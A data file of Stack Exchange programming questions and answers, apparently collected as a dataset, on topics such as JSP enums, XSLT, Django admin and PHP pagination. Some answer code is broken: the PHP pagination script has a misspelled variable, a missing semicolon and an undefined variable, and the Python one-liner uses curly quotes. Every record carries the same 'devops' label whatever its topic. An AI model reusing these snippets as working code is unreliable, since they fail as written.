{"id": "hf_263e5f1da607", "question": "<p>Does MS Access 2007 support internal foreign keys within the same table?</p>\n", "question_body": "", "answer": "Yes.  Create the table with the hierarchy.\nid - autonumber - primary key\nparent_id - number\nvalue\nGo to the relationships screen.  Add the hierarchy table twice.  Connect the id and the parent_id fields.  Enforce referential integrity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.478334"}
{"id": "hf_3d644af43aab", "question": "<p>Is there a way to use Enum values inside a JSP without using scriptlets.</p>\n\n<p>e.g. </p>\n\n<pre><code>package com.example;\n\npublic enum Direction {\n    ASC,\n    DESC\n}\n</code></pre>\n\n<p>so in the JSP I want to do something like this</p>\n\n<pre><code>&lt;c:if test=\"${foo.direction ==&lt;% com.example.Direction.ASC %&gt;}\"&gt;...\n</code></pre>\n", "question_body": "", "answer": "You could implement the web-friendly text for a direction within the enum as a field:\n```\n```\n<%@ page import=\"com.example.Direction\" %>\n...\n<p>Direction is <%=foo.direction.getFriendlyName()%></p>\n<% if (foo.direction == Direction.ASC) { %>\n<p>That means you're going to heaven!</p>\n<% } %>\n```\n```\nbut that mixes the view and the model, although for simple uses it can be view-independent (\"Ascending\", \"Descending\", etc).\nUnless you don't like putting straight Java into your JSP pages, even when used for basic things like comparisons.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.514924"}
{"id": "hf_6187f4e5f831", "question": "<p>Any failed ASSERT statements on Windows cause the below debug message to appear and freeze the applications execution. I realise this is expected behaviour but it is running periodically on a headless machine so prevent the unit tests from failing, instead waiting on user input indefinitely.</p>\n\n<p>Is there s a registry key or compiler flag I can use to prevent this message box from requesting user input whilst still allowing the test to fail under ASSERT?</p>\n\n<p><strong>Basically, I want to do this without modifying any code, just changing compiler or Windows options.</strong></p>\n\n<p>Thanks!</p>\n\n<p><a href=\"http://img519.imageshack.us/img519/853/snapshotbu1.png\" rel=\"nofollow noreferrer\" title=\"Microsoft Visual C++ Debug Library ASSERT\">Microsoft Visual C++ Debug Library ASSERT http://img519.imageshack.us/img519/853/snapshotbu1.png</a></p>\n", "question_body": "", "answer": "From MSDN about the ASSERT macro:\nIn an MFC ISAPI application, an assertion in debug mode will bring up a modal dialog box (ASSERT dialog boxes are now modal by default); this will interrupt or hang the execution. To suppress modal assertion dialogs, add the following lines to your project source file (projectname.cpp):\n```\n```\n// For custom assert and trace handling with WebDbg\n#ifdef _DEBUG\nCDebugReportHook g_ReportHook;\n#endif\n```\n```\nOnce you have done this, you can use the WebDbg tool (WebDbg.exe) to see the assertions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.627792"}
{"id": "hf_509b31af40eb", "question": "<p>I am creating an installer for an ASP.Net website using WiX.  How do you set the ASP.Net version in IIS using WiX?</p>\n", "question_body": "", "answer": "First find the correct .NET version folder. Use DirectorySearch/FileSearch to perform search.\nUse the above path to call aspnet_regiis.exe and set the version for the webapp from a custom action.\n```\naspnet_regiis.exe -s W3SVC/1/ROOT/SampleApp1\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.709243"}
{"id": "hf_3318d2929c59", "question": "<p>I'm trying to debug an MSBuild task, and I know there is some way to write to the MSBuild log from within a custom task but I forget how.</p>\n", "question_body": "", "answer": "The base\nTask\nclass has a\n```\nLog\n```\nproperty you can use:\n```\n```\nLog.LogMessage(\"My message\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.759478"}
{"id": "hf_64fb556a2a48", "question": "<p>I am debugging with breakpoints and I realize the assert call? I thought it was only for unit tests. What does it do more than breakpoint? Since I can breakpoint, why should I use Assert?</p>\n", "question_body": "", "answer": "In a debug compilation,\n```\nAssert\n```\ntakes in a Boolean condition as a parameter, and shows the error dialog if the condition is false.  The program proceeds without any interruption if the condition is true.\nIf you compile in Release, all\n```\nDebug.Assert\n```\n's are automatically left out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.783258"}
{"id": "hf_3ab555a6ff98", "question": "<p>If I do the following:</p>\n\n<pre><code>import subprocess\nfrom cStringIO import StringIO\nsubprocess.Popen(['grep','f'],stdout=subprocess.PIPE,stdin=StringIO('one\\ntwo\\nthree\\nfour\\nfive\\nsix\\n')).communicate()[0]\n</code></pre>\n\n<p>I get:</p>\n\n<pre><code>Traceback (most recent call last):\n  File \"&lt;stdin&gt;\", line 1, in ?\n  File \"/build/toolchain/mac32/python-2.4.3/lib/python2.4/subprocess.py\", line 533, in __init__\n    (p2cread, p2cwrite,\n  File \"/build/toolchain/mac32/python-2.4.3/lib/python2.4/subprocess.py\", line 830, in _get_handles\n    p2cread = stdin.fileno()\nAttributeError: 'cStringIO.StringI' object has no attribute 'fileno'\n</code></pre>\n\n<p>Apparently a cStringIO.StringIO object doesn't quack close enough to a file duck to suit subprocess.Popen.  How do I work around this?</p>\n", "question_body": "", "answer": "I figured out this workaround:\n```\n```\n>>> p = subprocess.Popen(['grep','f'],stdout=subprocess.PIPE,stdin=subprocess.PIPE)\n>>> p.stdin.write(b'one\\ntwo\\nthree\\nfour\\nfive\\nsix\\n') #expects a bytes type object\n>>> p.communicate()[0]\n'four\\nfive\\n'\n>>> p.stdin.close()\n```\n```\nIs there a better one?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.810344"}
{"id": "hf_bc6e8dda0894", "question": "<p>I have a Flex application that calls a function which searches a large document collection. Depending on the search term, the user may want to stop the request from flex. </p>\n\n<p>I’d like to not only stop the flex application from expecting the request, but also stop the CFC request. Is this possible? What’s the best approach for doing this?</p>\n", "question_body": "", "answer": "You can programmatically end requests with either\n```\n<cfabort/>\n```\nor\n```\n<cfsetting requesttimeout=\"0\"/>\n```\n- but that's on the CF server side of things, which I don't think is what you're asking?\nEnding it remotely... well, if you have FusionReactor it\nmight\nbe possible to contact that using Flex and have it interrupt the request for you.\n(You can certainly try to end requests within FusionReactor, but whether or not Flex can actually ask FR to stop it... you'd have to ask that on the FR mailing list if there's a way to do that.)\nPossibly an alternative solution is to try and architect the search so that it works over multiple requests, but how feasible that is will depend on exactly what you're searching.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.882348"}
{"id": "hf_ba48ece93543", "question": "<p>In the GNOME Terminal, Bash does smart auto-completion. For example</p>\n\n<pre><code>apt-get in&lt;TAB&gt;\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>apt-get install\n</code></pre>\n\n<p>In Emacs shell-mode, this auto-completion doesn't work, even after I explicitly source <code>/etc/bash_completion</code>. The above example sticks as <code>in</code> or auto-completes with a filename in the current directory rather than a valid <code>apt-get</code> command option. Presumably, this is because Emacs is intercepting the Tab key-press. How do I enable smart auto-completion in <code>shell-mode</code>?</p>\n", "question_body": "", "answer": "I don't know the answer to this. But the reason that it doesn't work as you expect is probably because the completion in emacs shells is handled by emacs internally (by the comint-dynamic-complete function), and doesn't have those smart completion functions built-in.\nI'm afraid it is not an easy thing to fix.\nEdit: njsf's suggestion of using term-mode is probably as good as it gets. Start it with\n```\nM-x term\n```\nIt is included in the standard emacs distribution (and in emacs21-common or emacs22-common on Ubuntu and Debian at least).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:23.919741"}
{"id": "hf_889ba2154e4f", "question": "<p>I frequently need to debug .NET binaries on test machines (by test-machine, I mean that the machine doesn't have Visual Studio installed on it, it's frequently re-imaged, It's not the same machine that I do my development on, etc). </p>\n\n<p>I love the Visual Studio debugger, but it's not practical for me to install visual studios on a freshly imaged test-machine just to debug an assertion or crash (the install takes way too long, the footprint is too large, etc).  </p>\n\n<p>I'd really like a quickly installed program that could break into a running process, let me specify the location of symbols/source code, and let me jump right into debugging.  For native binaries, windbg works great, but I haven't found anything similiar for managed binaries. Any recommendations?</p>\n\n<p>(as a side note, I am aware of visual studios remote debugging capabilities, but for some reason it never seems to work consistently for me...  I often have connection issues)</p>\n", "question_body": "", "answer": "There is always\nmdbg\nand\ncordbg\n, but I would suggest digging more into why remote debugging doesn't work consistently.\nVS2005/8 seem a lot more reliable than earlier versions here (though I primarily do unmanaged) and it saves you from having to have the symbols accessible on the target machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.015782"}
{"id": "hf_ef72b1e7d719", "question": "<p>In light of how ajax is actually used by most sites today; why is ajax embraced while frames are still regarded as a bad idea?</p>\n", "question_body": "", "answer": "Ajax and frames are completely different from an accessibility standpoint (they're also completely different full stop).\nFrames offer very little positive effect but bring with them a host of negative issues.\nAjax on the other hand makes the user interface more dynamic without compromising usability in most cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.075131"}
{"id": "hf_5ceae2dc84c9", "question": "<p>Which profiler is better for general purpose profiling and heap analysis? 90% of our apps are standalone command line programs with substantial database and numeric processing. The other 10% are webapps/servlet container apps (with very little JSP and NO SCRIPLETS!). Target user would be Sr Software Engineer with 5-10 years of industry experience. We need support only for Sun JDK 5 and.</p>\n\n<p>As of writing this question (2008-10-02), JProfiler was at 5.1.4 and YourKit was 7.5. Looks like YourKit 8.0 will be released soon.</p>\n", "question_body": "", "answer": "If you're on jdk >=1.6_07 you might also want to look at jvisualvm which comes bundled.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.123195"}
{"id": "hf_eefe04f5d858", "question": "<p>What would you recommend for class that needs to keep a list of unique integers?</p>\n\n<p>I'm going to want to Add() integers to the collection and also check for existence e.g. Contains().</p>\n\n<p>Would be nice to also get them in a list as a string for display, ie. \"1, 5, 10, 21\".</p>\n", "question_body": "", "answer": "HashSet\n:\nThe\n```\nHashSet<T>\n```\nclass provides high-performance set operations. A set is a collection that contains no duplicate elements, and whose elements are in no particular order...\nThe capacity of a\n```\nHashSet<T>\n```\nobject is the number of elements that the object can hold. A\n```\nHashSet<T>\n```\nobject's capacity automatically increases as elements are added to the object.\nThe\n```\nHashSet<T>\n```\nclass is based on the model of mathematical sets and provides high-performance set operations similar to accessing the keys of the\n```\nDictionary<TKey, TValue>\n```\nor\n```\nHashtable\n```\ncollections. In simple terms, the\n```\nHashSet<T>\n```\nclass can be thought of as a\n```\nDictionary<TKey, TValue>\n```\ncollection without values.\nA\n```\nHashSet<T>\n```\ncollection is not sorted and cannot contain duplicate elements...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.146506"}
{"id": "hf_9fefaaad63cc", "question": "<p>I have a lot of XML files and I'd like to generate a report from them. The report should provide information such as:</p>\n\n<pre><code>root 100%\n a*1 90%\n b*1 80%\n  c*5 40%\n</code></pre>\n\n<p>meaning that all documents have a root element, 90% have one <strong>a</strong> element in the root, 80% have one <strong>b</strong> element in the root, 40% have 5 <strong>c</strong> elements in <strong>b</strong>.</p>\n\n<p>If for example some documents have 4 <strong>c</strong> elements, some 5 and some 6, it should say something like: </p>\n\n<pre><code>c*4.3 4 6 40%\n</code></pre>\n\n<p>meaning that 40% have between 4 and 6 <strong>c</strong> elements there, and the average is 4.3.</p>\n\n<p>I am looking for free software, if it doesn't exist I'll write it. I was about to do it, but I thought about checking it. I may not be the first one to have to analyze and get an structural overview of thousand of XML files.</p>\n", "question_body": "", "answer": "Here's an XSLT 2.0 method.\nAssuming that\n```\n$docs\n```\ncontains a sequence of document nodes that you want to scan, you want to create one line for each element that appears in the documents. You can use\n```\n<xsl:for-each-group>\n```\nto do that:\n```\n```\n<xsl:for-each-group select=\"$docs//*\" group-by=\"name()\">\n  <xsl:sort select=\"current-group-key()\" />\n  <xsl:variable name=\"name\" as=\"xs:string\" select=\"current-grouping-key()\" />\n  <xsl:value-of select=\"$name\" />\n  ...\n</xsl:for-each-group>\n```\n```\nThen you want to find out the stats for that element amongst the documents. First, find the documents have an element of that name in them:\n```\n```\n<xsl:variable name=\"docs-with\" as=\"document-node()+\"\n  select=\"$docs[//*[name() = $name]\" />\n```\n```\nSecond, you need a sequence of the number of elements of that name in each of the documents:\n```\n```\n<xsl:variable name=\"elem-counts\" as=\"xs:integer+\"\n  select=\"$docs-with/count(//*[name() = $name])\" />\n```\n```\nAnd now you can do the calculations. Average, minimum and maximum can be calculated with the\n```\navg()\n```\n,\n```\nmin()\n```\nand\n```\nmax()\n```\nfunctions. The percentage is simply the number of documents that contain the element divided by the total number of documents, formatted.\nPutting that together:\n```\n```\n<xsl:for-each-group select=\"$docs//*\" group-by=\"name()\">\n  <xsl:sort select=\"current-group-key()\" />\n  <xsl:variable name=\"name\" as=\"xs:string\" select=\"current-grouping-key()\" />\n  <xsl:variable name=\"docs-with\" as=\"document-node()+\"\n    select=\"$docs[//*[name() = $name]\" />\n  <xsl:variable name=\"elem-counts\" as=\"xs:integer+\"\n    select=\"$docs-with/count(//*[name() = $name])\" />\n  <xsl:value-of select=\"$name\" />\n  <xsl:text>* </xsl:text>\n  <xsl:value-of select=\"format-number(avg($elem-counts), '#,##0.0')\" />\n  <xsl:text> </xsl:text>\n  <xsl:value-of select=\"format-number(min($elem-counts), '#,##0')\" />\n  <xsl:text> </xsl:text>\n  <xsl:value-of select=\"format-number(max($elem-counts), '#,##0')\" />\n  <xsl:text> </xsl:text>\n  <xsl:value-of select=\"format-number((count($docs-with) div count($docs)) * 100, '#0')\" />\n  <xsl:text>%</xsl:text>\n  <xsl:text>&#xA;</xsl:text>\n</xsl:for-each-group>\n```\n```\nWhat I haven't done here is indented the lines according to the depth of the element. I've just ordered the elements alphabetically to give you statistics. Two reasons for that: first, it's significantly harder (like too involved to write here) to display the element statistics in some kind of structure that reflects how they appear in the documents, not least because different documents may have different structures. Second, in many markup languages, the precise structure of the documents can't be known (because, for example, sections can nest within sections to any depth).\nI hope it's useful none the less.\nUPDATE:\nNeed the XSLT wrapper and some instructions for running XSLT? OK. First, get your hands on\nSaxon 9B\n.\nYou'll need to put all the files you want to analyse in a directory. Saxon allows you to access all the files in that directory (or its subdirectories) using a collection using a\nspecial URI syntax\n. It's worth having a look at that syntax if you want to search recursively or filter the files that you're looking at by their filename.\nNow the full XSLT:\n```\n```\n<xsl:stylesheet version=\"2.0\"\n  xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n  xmlns:xs=\"http://www.w3.org/2001/XMLSchema\"\n  exclude-result-prefixes=\"xs\">\n\n<xsl:param name=\"dir\" as=\"xs:string\"\n  select=\"'file:///path/to/default/directory?select=*.xml'\" />\n\n<xsl:output method=\"text\" />\n\n<xsl:variable name=\"docs\" as=\"document-node()*\"\n  select=\"collection($dir)\" />\n\n<xsl:template name=\"main\">\n  <xsl:for-each-group select=\"$docs//*\" group-by=\"name()\">\n    <xsl:sort select=\"current-group-key()\" />\n    <xsl:variable name=\"name\" as=\"xs:string\" select=\"current-grouping-key()\" />\n    <xsl:variable name=\"docs-with\" as=\"document-node()+\"\n      select=\"$docs[//*[name() = $name]\" />\n    <xsl:variable name=\"elem-counts\" as=\"xs:integer+\"\n      select=\"$docs-with/count(//*[name() = $name])\" />\n    <xsl:value-of select=\"$name\" />\n    <xsl:text>* </xsl:text>\n    <xsl:value-of select=\"format-number(avg($elem-counts), '#,##0.0')\" />\n    <xsl:text> </xsl:text>\n    <xsl:value-of select=\"format-number(min($elem-counts), '#,##0')\" />\n    <xsl:text> </xsl:text>\n    <xsl:value-of select=\"format-number(max($elem-counts), '#,##0')\" />\n    <xsl:text> </xsl:text>\n    <xsl:value-of select=\"format-number((count($docs-with) div count($docs)) * 100, '#0')\" />\n    <xsl:text>%</xsl:text>\n    <xsl:text>&#xA;</xsl:text>\n  </xsl:for-each-group>\n</xsl:template> \n\n</xsl:stylesheet>\n```\n```\nAnd to run it you would do something like:\n```\n> java -jar path/to/saxon.jar -it:main -o:report.txt dir=file:///path/to/your/directory?select=*.xml\n```\nThis tells Saxon to start the process with the template named\n```\nmain\n```\n, to set the\n```\ndir\n```\nparameter to\n```\nfile:///path/to/your/directory?select=*.xml\n```\nand send the output to\n```\nreport.txt\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.265141"}
{"id": "hf_de157f316c8b", "question": "<p>Where can I find a good Rails newbie-friendly reference about generating rails models with foreign key relationships?  </p>\n\n<p>I've found some pages indicating that you should add <code>has_many</code> and <code>belongs_to</code> to the relevant models to specify these relationships, but haven't seen any instructions for getting the scaffolds to generate the correct controller and view code that would reflect these relationships.</p>\n", "question_body": "", "answer": "There are a bunch of StackOverflow questions asking for newbie reference materials. I recommend that you start with the two Peepcode screencasts:\nRails From Scratch Part I\nRails From Scratch Part II\nThey do a great job of visually introducing you to Rails 2 development. Then, I'd recommend you pick up the Rails 2.1 PDF by Ryan Daigle, to get the hang of the 2.1 features not covered in the screencasts.\nI'm not sure what you're driving at with your question. What are you expecting the scaffolding to do? Create multi-object relationship links automatically? That's something you have to start layering in yourself....and as you do so, the scaffolding starts to be replaced with a real application. The scaffolding is just a starting point: it's not meant to guess what your inter-object relationships are going to look like in the application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.289866"}
{"id": "hf_5ba62b66071b", "question": "<p>I'm looking for an example algorithm of smart pagination. By smart, what I mean is that I only want to show, for example, 2 adjacent pages to the current page, so instead of ending up with a ridiculously long page list, I truncate it.</p>\n\n<p>Here's a quick example to make it clearer... this is what I have now:</p>\n\n<pre><code>Pages: 1 2 3 4 [5] 6 7 8 9 10 11\n</code></pre>\n\n<p>This is what I want to end up with:</p>\n\n<pre><code>Pages: ... 3 4 [5] 6 7 ...\n</code></pre>\n\n<p>(In this example, I'm only showing 2 adjacent pages to the current page)</p>\n\n<p>I'm implementing it in PHP/Mysql, and the \"basic\" pagination  (no trucating) is already coded, I'm just looking for an example to optimize it... It can be an example in any language, as long as it gives me an idea as to how to implement it...</p>\n", "question_body": "", "answer": "Here is some code based on original code from\nthis very old link\n. It uses markup compatible with Bootstrap's pagination component, and outputs page links like this:\n```\n```\n[1] 2 3 4 5 6 ... 100\n1 [2] 3 4 5 6 ... 100\n...\n1 2 ... 14 15 [16] 17 18 ... 100\n...\n1 2 ... 97 [98] 99 100\n```\n```\n```\n```\n<?php\n\n// How many adjacent pages should be shown on each side?\n$adjacents = 3;\n\n//how many items to show per page\n$limit = 5;\n\n// if no page var is given, default to 1.\n$page = (int)$_GET[\"page\"] ?? 1;\n\n//first item to display on this page\n$start = ($page - 1) * $limit;\n\n/* Get data. */\n$data = $db\n    ->query(\"SELECT * FROM mytable LIMIT $start, $limit\")\n    ->fetchAll();\n\n$total_pages = count($data);\n\n/* Setup page vars for display. */\n$prev = $page - 1;\n$next = $page + 1;\n$lastpage = ceil($total_pages / $limit);\n//last page minus 1\n$lpm1 = $lastpage - 1;\n\n$first_pages = \"<li class='page-item'><a class='page-link' href='?page=1'>1</a></li>\" .\n    \"<li class='page-item'><a class='page-link' href='?page=2'>2</a>\";\n\n$ellipsis = \"<li class='page-item disabled'><span class='page-link'>...</span></li>\";\n\n$last_pages = \"<li class='page-item'><a class='page-link' href='?page=$lpm1'>$lpm1</a></li>\" .\n    \"<li class='page-item'><a class='page-link' href='?page=$lastpage'>$lastpage</a>\";\n\n$pagination = \"<nav aria-label='page navigation'>\";\n$pagincation .= \"<ul class='pagination'>\";\n\n//previous button\n\n$disabled = ($page === 1) ? \"disabled\" : \"\";\n$pagination.= \"<li class='page-item $disabled'><a class='page-link' href='?page=$prev'>« previous</a></li>\";\n\n//pages \n//not enough pages to bother breaking it up\nif ($lastpage < 7 + ($adjacents * 2)) { \n    for ($i = 1; $i <= $lastpage; $i++) {\n        $active = $i === $page ? \"active\" : \"\";\n        $pagination .= \"<li class='page-item $active'><a class='page-link' href='?page=$i'>$i</a></li>\";\n    }\n} elseif($lastpage > 5 + ($adjacents * 2)) {\n    //enough pages to hide some\n    //close to beginning; only hide later pages\n    if($page < 1 + ($adjacents * 2)) {\n        for ($i = 1; $i < 4 + ($adjacents * 2); $i++) {\n            $active = $i === $page ? \"active\" : \"\";\n            $pagination .= \"<li class='page-item $active'><a class='page-link' href='?page=$i'>$i</a></li>\";\n        }\n        $pagination .= $ellipsis;\n        $pagination .= $last_pages;\n    } elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) {\n        //in middle; hide some front and some back\n        $pagination .= $first_pages;\n        $pagination .= $ellipsis\n        for ($i = $page - $adjacents; $i <= $page + $adjacents; $i++) {\n            $active = $i === $page ? \"active\" : \"\";\n            $pagination .= \"<li class='page-item $active'><a class='page-link' href='?page=$i'>$i</a></li>\";\n        }\n        $pagination .= $ellipsis;\n        $pagination .= $last_pages;\n    } else {\n        //close to end; only hide early pages\n        $pagination .= $first_pages;\n        $pagination .= $ellipsis;\n        $pagination .= \"<li class='page-item disabled'><span class='page-link'>...</span></li>\";\n        for ($i = $lastpage - (2 + ($adjacents * 2)); $i <= $lastpage; $i++) {\n            $active = $i === $page ? \"active\" : \"\";\n            $pagination .= \"<li class='page-item $active'><a class='page-link' href='?page=$i'>$i</a></li>\";\n        }\n    }\n}\n\n//next button\n$disabled = ($page === $last) ? \"disabled\" : \"\";\n$pagination.= \"<li class='page-item $disabled'><a class='page-link' href='?page=$next'>next »</a></li>\";\n\n$pagination .= \"</ul></nav>\";\n\nif($lastpage <= 1) {\n    $pagination = \"\";\n}\n\necho $pagination;\n\nforeach ($data as $row) {\n    // display your data\n}\n\necho $pagination;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.326236"}
{"id": "hf_652d9aa44906", "question": "<p>I have a <code>Person</code> model that has a foreign key relationship to <code>Book</code>, which has a number of fields, but I'm most concerned about <code>author</code> (a standard CharField).</p>\n\n<p>With that being said, in my <code>PersonAdmin</code> model, I'd like to display <code>book.author</code> using <code>list_display</code>:</p>\n\n<pre><code>class PersonAdmin(admin.ModelAdmin):\n    list_display = ['book.author',]\n</code></pre>\n\n<p>I've tried all of the obvious methods for doing so, but nothing seems to work.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "According to the documentation, you can only display the\n```\n__unicode__\n```\nrepresentation of a ForeignKey:\nhttp://docs.djangoproject.com/en/dev/ref/contrib/admin/#list-display\nSeems odd that it doesn't support the\n```\n'book__author'\n```\nstyle format which is used everywhere else in the DB API.\nTurns out there's\na ticket for this feature\n, which is marked as Won't Fix.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.347082"}
{"id": "hf_e9a681f31f70", "question": "<p>A co worker of mine asked me to review some of my code and he sent me a diff file.  I'm not new to diffs or version control in general but the diff file was very difficult to read because of the changes he made.  Specifically, he used the \"extract method\" feature and reordered some methods.  Conceptually, very easy to understand but looking at the diff, it was very hard to tell what he had done.  It was much easier for me to checkout the previous revision and use Eclipse's \"compare\" feature, but it was still quite clunky.</p>\n\n<p>Is there any version control system that stores metadata related to refactoring.  Of course, it would be IDE and Programming Language specific, but we all use Eclipse and Java!  Perhaps there might be some standard on which IDEs and version control implementations can play nicely?</p>\n", "question_body": "", "answer": "Eclipse can\nexport refactoring history\n(see\n3.2 release notes\nas well).  You could then view the refactoring changes via preview in Eclipse.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.382038"}
{"id": "hf_9ed9dc2d6374", "question": "<p>Is there any alternative for WPF (windows presentation foundation) in python? </p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/aa970268.aspx#Programming_with_WPF\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/library/aa970268.aspx#Programming_with_WPF</a> </p>\n", "question_body": "", "answer": "You might want to look at\npygtk\nand\nglade\n.\nHere\nis a tutorial.\nThere is a long\nlist of alternatives\non the\nPython Wiki\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.421621"}
{"id": "hf_8ec32eb8b798", "question": "<p>Suppose I have a \"tags\" table with two columns: <strong>tagid</strong> and <strong>contentid</strong>.  Each row represents a tag assigned to a piece of content.  I want a query that will give me the contentid of every piece of content which is tagged with tagids 334, 338, and 342.</p>\n\n<p>The \"easy\" way to do this would be (<em>pseudocode</em>):</p>\n\n<pre><code>select contentid from tags where tagid = 334 and contentid in (\n    select contentid from tags where tagid = 338 and contentid in (\n        select contentid from tags where tagid = 342\n    )\n)\n</code></pre>\n\n<p>However, my gut tells me that there's a better, faster, more extensible way to do this.  For example, what if I needed to find the intersection of 12 tags?  This could quickly get horrendous.  Any ideas?</p>\n\n<p><strong>EDIT</strong>: Turns out that this is also covered in <a href=\"http://weblogs.sqlteam.com/jeffs/jeffs/archive/2007/06/12/60230.aspx\" rel=\"noreferrer\">this excellent blog post</a>.</p>\n", "question_body": "", "answer": "The only alternative way i can think of is:\n```\n```\nselect a.contentid from tags a\ninner join tags b on a.contentid = b.contentid and b.tagid=334\ninner join tags c on a.contentid = c.contentid and c.tagid=342\nwhere a.tagid=338\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.446277"}
{"id": "hf_27bae41fd840", "question": "<p>I'm putting together a little tool that some business people can run on their local filesystems, since we don't want to setup a host for it.</p>\n\n<p>Basically, its just HTML + Javascript (using jQuery) to pull some reports using REST from a 3rd party.</p>\n\n<p>The problem is, FF3 and IE don't allow the ajax call, I get:</p>\n\n<pre><code>Access to restricted URI denied\" code: \"1012\n</code></pre>\n\n<p>Obviously its an XSS issue...how do I work around it? The data returned is in XML format.</p>\n\n<p>I was trying to do it this way:</p>\n\n<pre><code>$.get(productUrl, function (data){\n    alert (data);\n});\n</code></pre>\n\n<p><strong>EDIT</strong>: To be clear...I'm not setting up an internal host for this(Way to much red tape), and we CANNOT host this externally due to the data being retrieved.</p>\n\n<p><strong>EDIT #2</strong>: A little testing shows that I can use an IFRAME to make the request. Does anyone know if there any downsides to using a hidden IFRAME?</p>\n", "question_body": "", "answer": "If you have Python installed, a webserver to serve files can be as simple as\n```\n```\npython -c “import SimpleHTTPServer;SimpleHTTPServer.test()”\n```\n```\nEdit:\nOriginal poster can't use this approach, but in general I think this is the way to solve this particular problem for future users with this issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 